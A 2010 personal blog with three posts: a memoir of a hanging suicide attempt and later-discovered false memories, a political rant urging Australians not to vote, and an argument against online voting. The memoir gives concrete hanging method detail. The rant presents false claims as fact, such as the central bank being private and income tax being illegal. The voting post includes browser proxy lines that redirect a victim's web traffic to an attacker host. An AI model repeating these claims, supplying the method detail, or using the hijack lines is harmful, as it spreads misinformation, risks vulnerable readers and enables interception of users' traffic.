Saturday, August 28, 2010

We can breathe underwater.

I woke up in hospital, and I wish I had a glamorous story to tell you, but I just don't.

It was an everyday hospital, although I did have an amazing view from up there on the tenth floor. I had a room all to myself, or I would have, if Mum wasn't there.

She was seated on a chair by the window, and she had that 'Mum glow', you know, where it seems like they are powered by nothing more than love for you.

She didn't make a fuss- not her style, even though this was a suicide.

Her view? "If you really want to go, well, I'll miss you, and of course I'd rather you didn't. But some people just aren't for this life." I never could work out if that was supportive and pragmatic, or bleak and hopeless. I still can't.

You're probably wondering what embarrassing set of circumstances brought us all here, I'll relent.

I was being hounded by debt collectors, I'd made some bad decisions. Impulsive, expensive ones. Now, that just seems like life, but back then...I had a lower tolerance for the everyday. And I was heartbroken of course, or I thought I was. The advantage to living longer is the overview. You see what love really is if you're lucky. You definitely realise what love wasn't.

Some people really aren't worth opening a vein for. I'd counter no-one is, despite the romantic notions imprinted upon us by Shakespeare, and to a lesser extent, Jeffrey Eugenides.

Anyway, I was labouring under a dose of way too much Nine Inch Nails, teenage heartbreak, and what can only be described as a general lack of interest in "what comes next". I was bored. Every day I was bored. You could have told me that one day we'd have iPods and electric motorcycles, and I'd just meh my way past it. I didn't even have email back then. It sounds like 1958, but it was 1995.

And I guess I was tired too. Get out of bed tired. Go to bed and can't sleep because I'm too tired, tired. The big sleep beckoned.

So, without any fanfare or desperate behaviour, I paid money to everyone I owed it to, who wasn't a corporation. Boxed up my belongings, and wrote the names of my friends on the boxes. Star Wars toys went to Marty, power tools to Brandon, etc...

I slung a steel cable over a solid timber beam a foot thick, rigged it the usual way- noose end down. I put a bar stool underneath it, and put myself between. I was bored while I was doing it, but I was glad to have something to do. I took one final look around the old biscuit factory that was my house, jumped up in the air, and kicked the stool away.

It hit the back wall with a noise that sounded excessively final. If it was a voice, it would have said "There is no way you're going to be able to get out of this now- even if you wanted to". And as the cable bit into my throat I was inclined to agree.

I saw stars, as is normal, and as I waited to pass out, I did a slow circle of the room, spinning slowly. I thought two things:

1. This is the last time I'll see any of this. And,

2. I knew this would hurt, but this is just crazy.

As an aside, the sunbeams coming through the window took on an amazing, other-worldly golden radiance, and I thought for a heartbeat that I would miss that.

So I guess my civic duty is to say, should you be considering the same style of exit, probably try something else, unless you really, really hate yourself. This method is painful beyond words.

And as bored as I was, and definitely looking forward to the next part, where the pain stops, I'd be lying if I said panic didn't grip me then. My legs started to kick, like they had a mind of their own. My hands desperately tried to pull the noose free, and just before the blackness swept over me completely, I made the vainest of attempts to make a loud noise, as if that would set the pain loose.

Scene.

I still don't know who called the ambulance, but I was eventually informed that someone had. That the steel cable had somehow broken, and that I was discovered in a pool of my own excrement, no heartbeat, not breathing, not in any way vivus, alive.

So the medical people did the things medical people do, and I got to ride in an ambulance (although of course I don't remember this), and nurses who I wouldn't meet 'til later took my clothes off and washed my cock for me, which as much as I have done some things in my life, is still a weird thought for some reason.

And after however long, I opened my eyes, and here we are.

Mum eventually left me to my own devices, and I thought of how I felt about this new and unexpected state of affairs. The nurses came and talked to me, both guys and girls. I felt like a newborn to a certain extent, and I quite enjoyed talking with them. I can't explain the novelty, but you know they say "change is as good as a holiday", I guess that was 9/10'ths of this.

It took me a couple of weeks to physically heal, breathing hurt, talking hurt, moving hurt, eating hurt. So basically everything hurt. I didn't expect sympathy, we all knew it was self inflicted. Friends came to visit, Mum again, the occasional awkward phone call, where the caller had no idea what to say, and was scared to freestyle in case they inadvertently set me off on another suicidal downward spiral.

It was odd to see that people cared for me.

I'd have to say that genuinely surprised me.

And at night, I would be alone with my thoughts (apart from the camera wired to the nurses station, ensuring I didn't re-offend), and I'd try to piece together what to do now.

I had this weird feeling of responsibility to the friends I had back then, even though not one of them keeps in touch nowadays. I felt like them caring for me on whatever level meant I owed them my best shot at life.

And of course I felt ashamed, too weak to deal with the same shit everyone else goes through on a daily basis.

I thought about the people I knew, and the effect I'd had. And even though, as I say, they don't check in any more; at the time we were close- I believe that. Back then, I meant something to them... some meaning I've since lost, or time has rusted, or... whatever goes on in other peoples worlds that I don't comprehend.

I had a friend called Benedict, who made everyone laugh. Tears running down your face laughter- the rarest kind. This kind of action was a daily occurrence for him. Despite this his heart was quite remote and hard to reach, he was very serious underneath. While I was in hospital, but before anyone told him what had happened to me, he hung himself too. Difference was, no ambulance turned up for him. I didn't see it coming, although I knew his world was in conflict. And I cried as I thought and felt the emotional and physical anguish he went through, to achieve lasting silence. I felt so hurt to imagine how much he must have hated himself, to go out in that manner. Pills are easier. But he wanted to punish himself for something, what it was will forever remain between him and whoever he did it to.

I was casually seeing a girl called Kristin in the weeks before my... whatever it was. And upon reflection, it was cruel of me, to leave her with no answers, while throwing out a big question like that. Death is a question, for those who are left. She was very relaxed, unlike the hurricane of intensity that was "she who shall not be named". She was relaxed, and very pretty, and I was lucky to have won the attention and affection of such a good person, of such a beautiful heart. She came to see me in hospital, and I was beside myself with guilt, for being so heartless. She walked into my room, and her energy was the same as it ever was (although she looked like an angel to me- I hear this is normal under such circumstances). And she put me at ease without saying a word. All she wanted to do was smile into my eyes, and stroke my hand. I was so drugged up I fell asleep, and when I awoke the next morning, she had come back again, and was waiting next to my bed. I said "I'm sorry for that", and she just blinked her smiling eyes at me, as if ocular morse code was standard in situations such as these. She told me she'd be waiting when I got out, whenever that would be.

My housemate Sean came in too. I didn't have much to say with him there, nothing personal or mean-spirited... we just had a quiet kind of situation happening, that we were both equally at home in. It was almost like "Well- if you get a hospital room, I want to hang out in there too", like whatever was mine was his by default. I didn't mind. The opposite, totally.

A couple of guys I used to skate with brought food and magazines. I was really happy to have been so considered, but humiliated that everyone in the city must have known how weak I'd been. I don't like to show my weaknesses, typically insecure.

And when I was physically operational, it was time for therapy. Although the actual damage was limited to my throat/windpipe/arteries, my whole body was wrecked from it. So I needed physical therapy, as well as someone to talk to (and convince it was safe to let me go out into the world again).

My psychiatrist was Doctor Lawrence. He was a no-nonsense, obviously hideously rich person who, while his bedside manner was intact, it was obvious to me would be extremely unpleasant and opinionated with a couple of wines in him.

I felt constantly rushed with him, like I had to answer him within two seconds of each question or he'd just walk out without a word. Of course he wouldn't, but that was the feeling.

We talked about motivations, if I'd learned anything, and I said "Not really". So he asked me what was my raison d'etre, and I said "I don't know- everything just feels different this time". That seemed to satisfy him, and three weeks after being rolled in on a gurney with tubes and wires and concerned faces; I had the all-clear to just walk out like a regular person.

I went back to my bed to wait for my clothes etc, and fell asleep again.

When I woke up, everything felt worse.

The nurses were different people. More concerned, strangers, suspiciously checking on me every five minutes. The pain was back, more intense than before. I had tubes in me again. A different psychiatrist came to see me, a Doctor Ellison, and she had no idea who Doctor Lawrence was. I asked myself if I had died, and this is the confusion I earned myself by punching my own ticket. But there's no pain when you're dead, and I was in pain.

Mum walked in, and her face didn't glow. She looked angry and hurt. I felt like an inconvenience... I always feel like an inconvenience.

"What did I do?" I asked her, desperate to know why she was so angry.

"You didn't do anything love, it's just the situation... how do you feel?"

I told her I was confused, and she said she knew. I figured this was just her psychic maternal wireless broadband doing its thing, but it was more than that.

Everything was wrong.

I asked her where my friends were, if they were coming to visit? She shot a look at Dr Ellison, who pulled up another chair.

And together, they ripped my world apart.

It had been three months, not three weeks, since I was rolled in. I had alternated between states of conscious depression and violent seizures. I would frighten the staff with offers of violence, if only the drugs made it possible for me to get out of bed unassisted. In my waking moments I had talked to my friends, to my visitors, but those visitors had never actually been there.

And those visitors, those friends I had known for years, had never existed.

Through session after session with the Doctor, I was informed that half of what I thought was my life, was a lie. A covertly constructed, expertly crafted lie, created by my subconscious. A lie that integrated seamlessly with reality, a privately held set of beliefs and experiences that never were.

And this lie, had been going on for years.

One by one, I watched my friends die, in a sense. As their existence was revealed to be fallacious. Relationships, secrets, jokes, life, all came undone and fell in strands on the floor.

Places I'd been, houses I had lived in, jobs, relationships, belongings, all fell away, to reveal who I really am. Who I'd been all this time. A person that was a stranger to me.

Many years before, when I was very young, something happened. Something I'm not ready to talk about. Something I can't make any sense of.

And this thing, marked me in a way. As much as I remember it, and even feel like the horror of it has abated, like I'm at low tide now, I can deal with it. I can't deal with it, and any progress or acceptance I thought I had is just another falsely held belief. It broke me, I never healed.

And I developed complex scenarios to escape from this reality. Movies I had seen and songs I'd heard had never been recorded. Bands I liked had never formed. Books I read were never written. I invented friends and lovers, traveled to places I had never seen, and did things I have never done, all the while believing it was my life. All the while feeling so real, impossible to be anything else. But I wasn't there- I was locked away inside myself, trying to be safe.

I worked jobs like everyone else, without the slightest suspicion from my employers that I wasn't fully there. No-one knew, and no one got close enough to guess.

And through this process I discovered I had very few friends. Very few experiences. And I could no longer say with certainty that I had done anything until I checked with my Mother.

The suicide was real though... I had proof of that.

I hanged myself (that never sounds right, does it?) to escape from my life as it was. I took a chance that was 99% weighed in favour of nonexistence, in the hope I could stand where I stand now- in front of a life I can build for myself, with real materials, among real people. And ever since that hospital stay, I have done and achieved every thing I once claimed as real.

It can be confusing, walking down a street in Osaka for the first time, when you were sure you had been there before (only everything was different!) But it's exciting too, and I feel like the things I make (as much as they will rust and fall apart when I am gone) are really worth something.

I don't know what that means, but I feel it. I really feel it. With my bones.

And now I see so many people, living inside their own heads, scared to come out, hiding from the truth of something... I'm like the ghost whisperer for people like that. I see through the bullshit, and I think that's a great superpower to have. because if they want to come out and be real, then they have a friend, and that's me.

People hurt us, disappoint us, underwhelm us, and even disgust us, but they really are beautiful and rare, with the capacity to do such incredibly Universe-changing things.

I have faith in us.

And at last I have found some faith in me too.

I'll keep you posted.



This is knifey, from 'the internet'.

Tuesday, August 17, 2010

Don't Vote!, & other tales of wonder.

"Being angry at the ignorant serves no purpose...they are merely defending what they passionately view as truth. Write that down..."

I should know better, but I still read the comments sections of online newspaper editions. And as much as I'm aware (like any chat room/message board scenario) that comments are monopolised by a very vocal and prolific minority, I feel it does give some insight into what we've become as a nation of people.

I see a number of recurring themes, & by far the most common is the "me factor".

In this article, Tony Abbot is attempting to swing the long-term unemployed vote with a promise of an extremely large cash incentive. (No policy on increasing the number of jobs available, and the irony is lost on him that this is exactly the kind of behaviour that he crucifies Gillard for on a daily basis. But then, Abbot has long been criticised for not having any policies of his own.)

In the comments, the vast majority of posters ask "Where's MY bonus for working (x number of years)?"

Isn't that something?

What about me? Why can't I get money to reward my hard work?

I would contend (as much as I don't support Abbot's policy), that those in long-term employment are rewarded, by receiving wages; as opposed to the unemployed, who earn so little ($270 per week on average for adults), that the concept of earning $750-$1000 per week sounds like a beautiful dream.

Granted, there are those that ride the system for all they are worth, and I understand that Australians are angry (rightfully so) about this. But putting your hand up and asking for a handout when you have a job is quite an interesting proposition.

When you were young, and you saw your parents watching the news, you picked up on many subconscious signals. You observed your parents reactions, and in many cases, adopted their viewpoints. And when the finance report came on, you heard the commentator talk about "the economy". THE economy.

And your parents would listen and take in the information with grave seriousness. What happens to interest rates? How will this affect the mortgage? And so you learn that the economy, while impossible to understand, is very serious. It is bigger than you. And it controls your life.

People think the economy is necessary, and have no idea there are alternatives. They believe economists (who are directly engaged in activities to protect THIS economy, not possible, stronger economies, or to engage in debate to discover the best economic model), without generally knowing how the economy works.

They can't know...it's supposed to be a secret.

They're not meant to find out that the RBA (Australia's central bank) isn't owned by the people. It is a private entity, that prints money (that we can print ourselves), and loans it to us with interest. This interest grows and grows, and it is known as The National Debt. Every one of us is in debt to a private bank for money we never personally borrowed, when we could print the money ourselves and regulate our own currency. Our tax system has no legal basis (there is no law authorizing the ATO to demand your money), and our income tax dollars go directly toward paying this debt, as opposed to education/health/infrastructure.

But you know, forget I said anything. I'm sure you're happy paying a percentage of everything you earn, to pay for a debt you never asked for, that in no way benefits you or the society you live in. Oh, and that is actually illegal and unconstitutional. You might like financing the private fortunes of a select few wrinkly old men.

I don't, but that's just me...

If everyone knew what I just wrote, society would change overnight.

No more income taxes/levies/GST etc, no more RBA, no more of the current political model that has allowed this to happen. Your money would be YOUR money.

And the Government wouldn't need to tax you, because there would be no more debt payments to the RBA to contend with. In fact, a class action law suit against this unconstitutional tax and grab job from the banks would mean we'd be in gravy for centuries. What they are doing is ILLEGAL, but it is allowed to happen because they run the Government, therefore the legal system. It has been this way for decades, and most people never knew it. the bankers, The Government, the Opposition, and the Senate should all be jailed.

But because all of us have been robbed by the Government at every opportunity, there has emerged an attitude of "every man for himself".

If you can get money, you should. Dog eat dog.

And this is reflected in the aforementioned comments sections of the major newspapers online editions (which in case you've been living under a rock, are owned by the same big business interests that run your Government and everything else).

Another surprising attitude I see is that people think that money has to be taken from one source and given to another- ie: "dole bludgers" to pensioners. No thought for the fact they both need it, and that if we weren't all getting screwed by our representatives in Government, there would be more than enough money for both groups of people. And Australia wouldn't care so much, because they wouldn't have the (fallacious) attitude that they are supporting them through taxes.

I'm not asking you to believe me on any of this, by the way. Please research this for yourselves, don't take my word for it. Ideally I'd like to encourage debate and discovery, so swallowing everything I say wholesale isn't going to get you there.

The point here is that there are alternatives to the way things are, and they're not socialism or anything else. Democracy would actually make a nice change in this country, because despite what you've heard, we don't have it!

So here's the big finale: Don't vote.

I am so sick of people like 'Just on the wagon' in MX (Aug 6, 2010), saying things like "Come on, Aussies, this election may be the most boring we've had, but it's still important. At 21, I vote because I can. It's a right we're lucky to have."

Two things:

1. Kudos for correct spelling and grammar, because that is almost nonexistent in the majority of newspaper comments.

2. What JOTW is saying is, I do this thing called voting, because I can.
Now, I can go eat a banana, because I can. Does it follow that it is vital for me to do so? Also, "a right we're lucky to have"? Why are we lucky to be able to vote, in a so-called democracy?! We have the right to have tacos for lunch too...would we be lucky to have tacos for lunch? Obviously yes we would be lucky, as tacos are delicious. But you see what I'm saying...

Granted, we can vote, and no-one will stop us, but there is NOTHING WORTH VOTING FOR. NOTHING! Not one party is honest or transparent, otherwise they'd all be telling you what I have just told you in this blog post!

Every single party in this country (therefore- choice), is complicit in the cover ups that keep us from having a truly fair and reasonable society, that is based on what is best for the people of the country, as opposed to the pockets of bankers (and the maggots that feed off them- the economists).

So sure, I (waste my) vote, because I can. And I am (apparently) lucky to do so!

I shouldn't be angry at JOTW, as they are speaking from ignorance. They just don't know any better. And that's not their fault. It's the Government's fault, and it's your fault, and it's mine, for not speaking about this sooner.

I don't think most people believe the extent of the corruption of this country. It's too shocking. But the proof is there. There is legal precedent in the Courts for Justices refusing to allow the law of the land into their Court, as skewed as that obviously is. People generally have a sense that there is no justice in Australia, when they read about someone getting 8 years for murder. And they generally believe the Government has lied to them here and there- look at Howards denial of climate change/children overbaord for example. But the full story- it's too shocking to believe right now.

Well, believe it. Look it up. Ask questions. Stop being so apathetic, and turn off Master Chef.

Because the good news is: It's not too late. Almost, but not quite...

We still have a constitution, and even though the Government continuously sneaks acts by us, wrapped in a purposefully circus-like (therefore not worth scrutinizing closely) political labyrinth, we can use it to make them follow the will of the people.

We can force a referendum on the very nature of Government in this country, for transparency, and to shut down all of the agencies that leech from us or keep us from justice.

And we can do it by not voting.

If enough people stop voting, it shows no confidence.

If enough people stop voting, it shows the system is broken.

And if enough people stop voting, the Government will be forced to start listening, and to give us something worth voting for.

The alternative is for people to start an honest party, but the media will discredit it, the people will believe the media, and they will never get their foot in the door.

We are all being manipulated to maintain the status quo- to keep ourselves down. That's just crazy.

If you're on facebook, a friend has started a group that
is a forum for like minded citizens to chat about why they will vote informal or not vote informal - whatever the case may be.

Start questioning...



This is knifey, from 'the internet'.

Statistics:


http://www.news.com.au/features/federal-election/fears-of-massive-swing-in-voter-backlash/story-e6frfllr-1225906125687#ixzz0wq4XMvrg

Nearly 1 million people are expected to shun the election process on Saturday - more than 7 per cent of the electorate.

This is more than enough people to swing the result, with the highest levels of informal voting expected in the key election battlegrounds of western Sydney.

This comes as former Labor leader Mark Latham has encouraged the nation's 14 million voters to lodge a protest vote and leave their ballot blank - an informal vote.

More than 510,000 people entered an informal vote in 2007.

Another 453,600 Australians did not even bother turning up to vote.

And with the election on a knife edge the major parties are nervous about the impact of Mr Latham's comments as the 10 divisions with the highest percentage of informal votes in both 2004 and 2007 were in western Sydney.

The Australian Electoral Commission has found about 35 per cent of the informal votes were deliberately spoilt.

Language difficulties was ranked the next biggest reason for invalid ballots.

The number of informal votes peaked in 2004, with more than 250,000 NSW voters lodging dud ballot papers.

Political commentators warned the price of compulsory voting was that elections were often decided by the least informed.

But Monash University senior politics lecturer Nick Economou said it was ironic that it was a massive anti-Latham mood blamed for the spike of informal voting in 2004.

"Back in 2004 a lot of people in western Sydney didn't like Latham but couldn't bring themselves to vote for Howard so they registered informal votes," he said.

And of those who did not fulfil their obligation at the ballot box, almost 400,000 escaped fines by giving excuses such as unable to vote on religious grounds or because of a medical emergency.

Only 59,000 people (13 per cent of non-voters) actually paid the $20 fine Australians are threatened with if they fail to vote.

And just 64 people were taken to court for not paying their fine.

The electoral commission admits it is more about encouragement than enforcement in terms of getting people to vote.

In a 2009 report to Federal Parliament, the commission said it would need to spend $10 million and substantially boost staff numbers to chase non-voters through the courts.


Saturday, August 14, 2010

Emergency Broadcast.

When reading this blog, in order to best understand the angle I'm taking, assume that I don't support the corrupt system of Government in Australia, and don't trust anything they say/do as being anything other than a ramp leading to the self-interest of a select few with vast amounts of wealth.

This doesn't mean I don't like to party! I just know this setup is broken, and it's well within our means to fix it, so that it works for everyone, and it won't make us Communists.

This article is of great concern to me.

It really shouldn't matter, as it doesn't matter who you vote for, you still end up with 'The Government'. But if you're going to waste your time buying into a system where you vote for whatever you consider to be the lesser of 2 evils, when in reality, they're all owned/funded/dictated to by the same people (banks, mainly), then that vote should still be counted in a legal and ethical way.

'Get Up' is a not for profit organisation in Australia, that is funded by donation, and does some exceedingly great work in attempting to "
build an accountable and progressive Parliament - a Parliament with economic fairness, social justice and environment at its core."

I respect the organisation, and what they do. But I also know, as Aldous Huxley explained:

"
Hell isn't merely paved with good intentions; it's walled and roofed with them. Yes, and furnished too."

I'll paste the article here, my comments will be in bold...

GetUp! wins again in online vote case

Jessica Mahar
August 13, 2010 - 3:34PM

Australians will be able to enrol online after the Federal Court ruled in favour of activist group GetUp! in their action against the Australian Electoral Commission.

The group took the commission to court after concern was expressed about an online voting enrolment site it created in July.

(More on that here.)

But today Federal Court Justice Nye Perram ruled the test case of 19-year-old Sophie Trevitt, who enrolled on the GetUp! website OzEnrol, was legal.

GetUp! national director Simon Sheikh called the win "historic".

‘‘Today’s decision vindicates the process of online enrolment,’’ Mr Sheikh told reporters.

Just because the Federal Court Justice makes something legal, doesn't mean it's actually the right thing to do, or that it will work.

‘‘We know that we pay our taxes online, that we do our banking online and we should be able to enrol to vote online.’’

The fundamental difference being, that when you pay taxes, that money is going to one source. If 2 competing sources were vying for that tax payment, then problems would immediately arise.

When you bank online, you bank between yourself, and your bank (who act as an intermediary (and are paid accordingly), who then in turn act as an intermediary between themselves and the creditor. If more than one agent acted as 'the bank' in that equation, your money may not make it to where you wish to pay it.

He said GetUp would be campaigning to allow online enrolments in all future elections, starting with Victoria’s state election in November.

‘‘The AEC’s next moves are up to them. We’ll be pushing the case for online voting vigorously so that it can be in place in time for the Victorian state election.’’

End.

So- in simple terms, here is the problem:

While online voting would be more convenient, there is no guarantee that your vote will be counted as cast. Without a physical ballot (like the traditional paper ballot), there is no way of checking the results against actual votes.

It has been demonstrated that it is possible to tamper with software of a voting machine to add malicious code and alter vote totals or favor any candidate. A demonstration how this could be done on a Premier Elections Solutions (formerly Diebold Election Systems) AccuVote-TS was conducted by the Center forInformation Technology Policy, at Princeton University. Another demonstration with a different voting system was shown on Dutch TV by the group "Wij vertrouwen stemcomputers niet".

And if there is no voting machine, just direct internet connection between voters and the Australian Electoral Commission, then the Government has been handed direct control of your voting results. They decide who stays, and who goes, not you. Without paper ballots to count, they can manipulate the voting data, and there is no way to prove they did.

Also, there exist Malicious Payloads (Backorifice 2000/CIH virus), that can actually change the voter's vote, without the voter or anyone else noticing, regardless of the kind of encryption or voter authentication in place. This is because the malicious code can do its damage before the encryption and authentication is applied to the data. The malicious module can then erase itself after doing its damage so that there is no evidence to correct, or even detect the fraud.

The delivery mechanisms for these attack viruses can be physical or remote installation (email virus), social engineering (where people are fooled into giving up their own security), or specialized devices that are open to tampering.

The first program, Backorifice 2000 (BO2K) is packaged and distributed as a legitimate network administration toolkit. In fact, it is very useful as a tool for enhancing security. It is freely available, fully open source, extensible, and stealth (defined below). The package is available here. BO2K contains a remote control server that when installed on a machine, enables a remote administrator (or attacker) to view and control every aspect of that machine, as though the person were actually sitting at the console. This is similar in functionality to a commercial product called PCAnywhere. The main differences are that BO2K is available in full source code form and it runs in stealth mode.

The open source nature of BO2K means that an attacker can modify the code and recompile such that the program can evade detection by security defense software (virus and intrusion detection) that look for known signatures of programs. A signature is a pattern that identifies a particular known malicious program. The current state of the art in widely deployed systems for detecting malicious code does not go much beyond comparing a program against a list of attack signatures. In fact, most personal computers in peoples’ houses have no detection software on them. BO2K is said to run in stealth mode because it was carefully designed to be very difficult to detect. The program does not appear in the Task Menu of running processes, and it was designed so that even an experienced administrator would have a difficult time discovering that it was on a computer. The program is difficult to detect even while it is running.

There can be no expectation that an average Internet user participating in an online election from home could have any hope of detecting the existence of BO2K on his computer. At the same time, this program enables an attacker to watch every aspect of the voting procedure, intercept any action of the user with the potential of modifying it without the user’s knowledge, and to further install any other program of the attackers desire, even ones written by the attacker, on the voting user’s machine. The package also monitors every keystroke typed on the machine and has an option to remotely lock the keyboard and mouse. It is difficult, and most likely impossible, to conceive of a web application (or any other) that could prevent an attacker who installs BO2K on a user’s machine from being able to view and/or change a user’s vote.

The second malicious payload , the CIH virus, is also known as the Chernobyl virus. There are two reasons why I chose this example over the many other possible ones. The first is that the malicious functionality of this virus is triggered to activate on a particular day. April 26, 1999 was a disastrous day in Asia, where the virus had not been that well known, and thousands of computers were affected. This raises concern because election dates are known far in advance. The second reason for choosing this example is that the damage that it caused was so severe, that it often required physically taking the computer to the shop for repair. The code modified the BIOS of the system in such a way that it could not boot. The BIOS is the part of the computer that initializes and manages the relationships and data flow between the system devices, including the hard drive, serial and parallel ports, and the keyboard. A widespread activation of such a virus on the day of an election, or on a day leading up to an election could potentially disenfranchise many voters, as their hosts would not be usable. This threat is increased by the possibility that the spread of the virus could be orchestrated to target a particular demographic group, thus having a direct effect on the election, and bringing the integrity of the entire process into question.

It does not take a very sophisticated malicious payload to disrupt an election. A simple attack illustrates how easy it is to thwart a web application such as voting. Netscape and Internet Explorer have an option setting that indicates that all web communication should take place via a proxy. A proxy is a program that is interposed between the client and the server. It has the ability to completely control all Internet traffic between the two. Proxies are useful for many Internet applications and for sites that run certain kinds of firewalls. The user sets a proxy by making a change in the preferences menu. The browser then adds a couple of lines to a configuration file. For example, in Netscape, the existence of the following lines in the file

c:\program_files\netscape\prefs.js

delivers all web content to and from the user’s machine to a program listening on port 1799 on the machine www.hellbournechoppers.com.

user_pref("network.proxy.http", "www.hellbournechoppers.com");

user_pref("network.proxy.http_port", 1799);

If an attacker can add these two lines (substituting his hostname for www.hellbournechoppers.com) to the preferences file on somebody’s machine, he can control every aspect of the web experience of that user. There are also ways of doing this without leaving a trail that leads directly to the attacker. While proxies cannot be used to read information in a secure connection, they can be used to fool a user into a secure connection with the attacker, instead of the actual voting server, without the user realizing it.

With this in mind, it's not just the Government fudging results you should be concerned about, it's direct access by unscrupulous operators (big business!), taking direct control of your votes with no evidence that they have done so.

To be honest, right now, with the system set up as it is, your votes count for nothing. But if we manage to regain control of our Government through the creation and succession of a new political party that actually represents us instead of bankers, then a solid voting system would be hella advantageous.

Another factor to consider, is, even if the internet was a safe way to vote (which it isn't), votes are not guaranteed legitimate, for the following reasons:

1. Vote buying.

Say you're a disillusioned voter, and you can't be bothered. And say you were offered $100 for your vote. Would you sell it? Some would, and if internet voting comes into play, some will.

2. Vote bullying.

Say you owe someone money, and they say they will forgive your debt if you vote for their candidate. Or say you are flat-out intimidated into doing so. This happens all over the world, and where power is concerned, it can happen here.

3. Vote coercion.

Say you have a controlling family member/partner, and they strongly wish for you to vote their way. Would you? Some would, and again. some will. Without one person in a booth at a time, this will happen.

So as you can see, the issue isn't as black and white as 'Internet voting is convenient!'...it's actually a convenient way of giving up control of one of the few rights you have left in the so-called age of terror.

If you're concerned about this, please email Get Up here, and let them know why their great intention could be handing the keys to the wrong people.

info@getup.org.au

I will send Getup a link to this blog, and let you know if they respond.

(Monday 16th August, 2010... I did send them a link, and also posted an encouraging comment directing people with a thirst for more info to this page. My comment didn't make it past moderation, and my email has not been replied to. So maybe it's time I re-thought my position on how balanced Getup really is?)

More info:

http://www.msnbc.msn.com/id/3077251/

http://www.edubook.com/pros-and-cons-of-electronic-voting/22885/

http://cwilk00.tripod.com/cons.html


Addendum:

I deleted a comment submitted to this post today, and I'd like to explain why. It was sent from the 'Pro internet voting camp', was a form comment (sent to numerous sources in the same format), and wasn't even addressed to this blog (it was addressed to Getup Australia).

Normally I allow dissenting commentary on this blog, as more opinions gets us all closer to the facts, however this comment was simply propaganda, designed to lead us further into confusion (by avoiding facts).

Also, the same comment was posted to my formspring account, which isn't a forum or a site designed for comments- it is designed for questions. The reason the anonymous poster did this was to increase the number of links available to search engines...to confuse the matter, as opposed to casting light on it. This is a typical tactic, one that leads us away from a state of affairs where we can engage in meaningful debate based on facts.

Don't be fooled by what they say, or what I say for that matter! The purpose of me writing about issues is to encourage you to research them for yourselves, and arrive at educated conclusions as opposed to ignorant ones.

Vested interests invest heavily to keep you ignorant. Don't let them...


This is knifey, from 'the internet'.
































This blog has borrowed technical information from this source-

http://avirubin.com/e-voting.security.html